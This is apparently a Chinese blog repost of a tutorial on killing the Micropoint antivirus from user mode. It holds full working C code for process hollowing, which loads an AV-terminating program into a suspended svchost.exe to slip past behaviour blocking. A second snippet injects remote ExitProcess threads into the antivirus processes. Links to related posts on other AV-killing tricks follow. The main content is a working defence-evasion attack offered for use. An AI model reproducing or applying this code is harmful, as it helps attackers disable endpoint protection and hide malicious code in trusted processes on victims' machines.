Ring3下WX方法结束微点2009

滴水逆向三期 win10 ASLR UnmapViewOfSection傀儡进程 加密壳项目 特意加了一个win10标题, 碰到0xc0000005的朋友就不要再浪费时间了, 我在这个问题上花了整整一天 概要 利用挂起创建进程, 然后卸载源程序(以下统称src)镜像(ps: 非必须选项), 阅读详情

 作 者: cogito

此法系Hovi.Delphic首发,某日看过之后甚感WS(某牛:“太挫了,太挫了”),于是把原作者的VB代码转成VC,以飨读者。
 
微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。
 
操作步骤如下:
1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ). 
 
2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point) 
 
3.从PEB中获取该进程的 base_address, [ebx+8]的值 
 
lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...
 
4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作. 
5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可. 
 
6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数) 
 
7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置. 
 
8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8] 
 
9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址 
10.调用SetThreadContext函数修正 
11.调用ResumeThread函数恢复svhost.exe运行.
 
实现代码可以参考 http://bbs.pediy.com/showthread.php?t=41873
 
这里提供一份更简短的代码,便于看清操作过程

代码:
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
 HANDLE hFile;
 DWORD dwFileSize;    //文件大小
 IMAGE_DOS_HEADER DosHeader;
 IMAGE_NT_HEADERS NtHeader;
 PROCESS_INFORMATION pi;
 STARTUPINFO si;
 CONTEXT context;
 PVOID ImageBase;
 unsigned long ImageSize;
 unsigned long BaseAddr;
 unsigned long retByte = 0;
 LONG offset;
 HMODULE hNtDll=GetModuleHandle("ntdll.dll");
 if(!hNtDll)
  return FALSE;
 ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
 memset(&si, 0, sizeof(si));   
 memset(&pi, 0, sizeof(pi)); 
 si.cb = sizeof(si);
 
 hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }
 ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
 dwFileSize = ::GetFileSize(hFile, NULL);
 LPBYTE pBuf = new BYTE[dwFileSize];
 memset(pBuf, 0, dwFileSize);
 DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
 ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
 ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
 //检查PE结构
 //以挂起方式进程
 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); 
 
 if (res)
 {
  context.ContextFlags = CONTEXT_FULL;
  if (!GetThreadContext(pi.hThread,&context))  //如果调用失败
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
  if (!BaseAddr)
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  //拆卸傀儡进程内存模块
  if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE);  //ImageBase 0x00400000
  if (ImageBase == NULL)
  {
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }  
  //替换傀儡进程内存数据
  if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
  {
   DWORD wrongFlag2 = GetLastError();  
  }
  //DOS 头 + PE 头 + 区块表的总大小
  //定位到区块头
  offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
  IMAGE_SECTION_HEADER secHeader;
  WORD i = 0;
  for (;i < NtHeader.FileHeader.NumberOfSections;i++)
  {
   //定位到各个区块
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
  }
 
  context.ContextFlags = CONTEXT_FULL;
  //重置 执行文件入口
  WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
  context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread,&context);
  ResumeThread(pi.hThread);
 }
 
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 ::CloseHandle(hFile);  
 delete[] pBuf;
 return TRUE;
}
 

 
用以上方法启动 TerminateMP.exe之后,系统中没有TerminateMP.exe进程,只有被替换了的svhost.exe
 
在svhost.exe进程中可以轻松地用 OpenProcess打开微点的进程,但是要结束微点的进程还是很麻烦的(Ring3下)。某90后用创建远程错误线程的方法达到了目的(这么挫的方法都想得出来)。
 

代码:
EnableDebugPriv(_T("SeDebugPrivilege"));
    HMODULE hModule = GetModuleHandle("kernel32.dll");
    unsigned long FunAddr  = (unsigned long)GetProcAddress(hModule,"ExitProcess");
    for (int i=0;i<n;i++)
    {
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0,Pids[i]);
        //创建远程错误线程
        HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(EXITPROCESS)FunAddr,NULL,0,NULL);
}
PE感染逆向之修复 作 者: achillis这篇文章是在Servex.exe专杀工具写完之后的一些小小感想,关于PE感染和修复,  自某日不小心中了Serverx.exe病毒,电脑中大部分EXE文件被感染,系统盘system32目录下的病毒文件Serverx.exe总也杀不掉,因为即使删掉了,每次运行了被感染的程序之后还会再次生成。(关于此毒的详细资料,有兴趣的直接在百度搜索"Serverx.exe"或"愤怒天使" 阅读详情

相关推荐

RING3内存清零结束进程

RKU的这招确实不错。在DebugMan上看到一点关于内存清零的提示信息,准备在RING0下实践下,结果BSOD的受不了,调试驱动偶还木有入门啊。无赖之下看到了RING3下实现的code,于是学习之。/************************************************************************** 学习者: sudami* 时间:    07

1818

傀儡进程技术分析

前言: 傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置 相关技术要点 1.创建挂起进程 系统函数CreateProcessW中参数dwCreation传递CREATE_SUSP...

darcy_123的博客 1266

科技中介如何高效匹配技术供需?.docx

科技中介如何高效匹配技术供需?

用Delphi写的ring3下清零结束进程

unitClear0; interface uses windows,SysUtils,TLHelp32; const STATUS_SUCCESS=$00000000; STATUS_ACCESS_VIOLATION=$C0000005; STATUS_UNSUCCESSFUL...

qq_31553911的博客 372

C语言实现协程(一)

引言 在使用socket编程时,我们会用到accept、connect、recv、send等函数,这些函数在没有数据到达时,会阻塞等待IO数据的到达。这不利于我们处理多个连接并快速响应。一种方案是,服务端每accept一个连接,就创建一个新的线程用来处理这个连接。这会导致线程过多,而且线程之前切换开销很大。这就可以使用到协程了。当然不止socket这种可以使用协程,IO密集型都可以使用协程,无论

晓彬的博客 1万+

进程注入之创建傀儡进程

傀儡进程:创建一个进程,然后将其虚拟地址里的内容掏空,注入想要注入的进程,以达到掩人耳目的效果 步骤: 1.以挂起的方式创建一个进程 2.卸载该进程的内存映射,即掏空该进程虚拟内存空间中的内容 3.获取该进程的CONTEXT上下文结构 4.将要注入的程序读入到内存中 5.在傀儡进程中申请足够的内存空间 6.手动将要注入的程序写入傀儡进程中所申请的内存空间 6.设置CONTEXT上下文的Eax为程序...

yeanhoo的博客 2089

创建傀儡进程

折腾好久,总算完成了自己第一次的傀儡进程编写。 效果:使当前进程创建一个子进程(同名) 掏空子进程,注入任何自己编写好的其他exe。 注意点 1.用来创建傀儡进程的父进程程序 需要是32位程序,因为编码的程序本身就是win32控制台程序 2.注入到进程中的程序32位,64位都行 3.pe结构取值时一定一定要留心是否需要加基址。 4.注意区分CUI程序和GUI程序,如果代码编写的是32位控制台程序,...

挖树 1172

Ring3下另一种结束卡巴斯基进程的新技术

卡巴斯基启动的时候,两个进程内部都会创建一个事件用于同步退出,当显示关闭这个事件时,AVP进程会退出。这个事件内核对象名字是一个 GUID,一开始我以为是动态生成的,但据我逆向及在其他机器观察,这个事件是硬编 码,”6953EA60-8D5F-4529-8710-42F8ED3E8CDA”(为了方便,在本文,我把这个事件写成A事件,我猜想卡巴斯基开发 人员肯定读过windows核心编程

1604

结束进程的N种方法RING0 AND RING3)

点击打开链接

LLC 930

恶意代码分析实验 Lab03-03

恶意代码分析实验(二)Lab03-03.exe使用IDA进行静态分析 Lab03-03.exe 使用IDA进行静态分析 将文件拖入IDA进行分析 根据分析得知该程序首先获取本线程的句柄,然后又获取了svchotexe.exe的绝对路径,路径获取过程如下: 之后该程序对UNICODE类的资源LOCALIZATION进行解密,过程如下: python对资源解密过程如下: 将解密后的文件拖入HxD中...

shannow_123的博客 1807

CONTEXT(线程结构体)

typedef struct _CONTEXT { DWORD ContextFlags // -| +00h DWORD Dr0 // | +04h DWORD Dr1 // ...

1309

内核态下基于动态感染技术的应用程序执行保护(五 动态感染)

源代码:http://download.csdn.net/detail/hitetoshi/3633188 绝影做尘,铁甲四方逐鹿而争。风起云涌,八面九锡更兼策马奔。南面独傲,铜雀二乔,欲休却报诏到。假节钺,赞拜不名,剑履入殿谁能?青梅煮酒,本初不数,惊起雷霆咋休。玺绶之册,即阼亦重,却累身三秋。观之沧海,星汉一粟,不道身成五彩。隔江叹:景升之子,豚犬之流。 扯远了,赶紧返回。今天这章...

142

中央企业如何提升技术成果的市场化对接能力?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

上一篇: 完整可编译NT4's NTFS源码(可稳定替换xp原版ntfs.sys
下一篇: 玩玩ntfs之新建文件
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值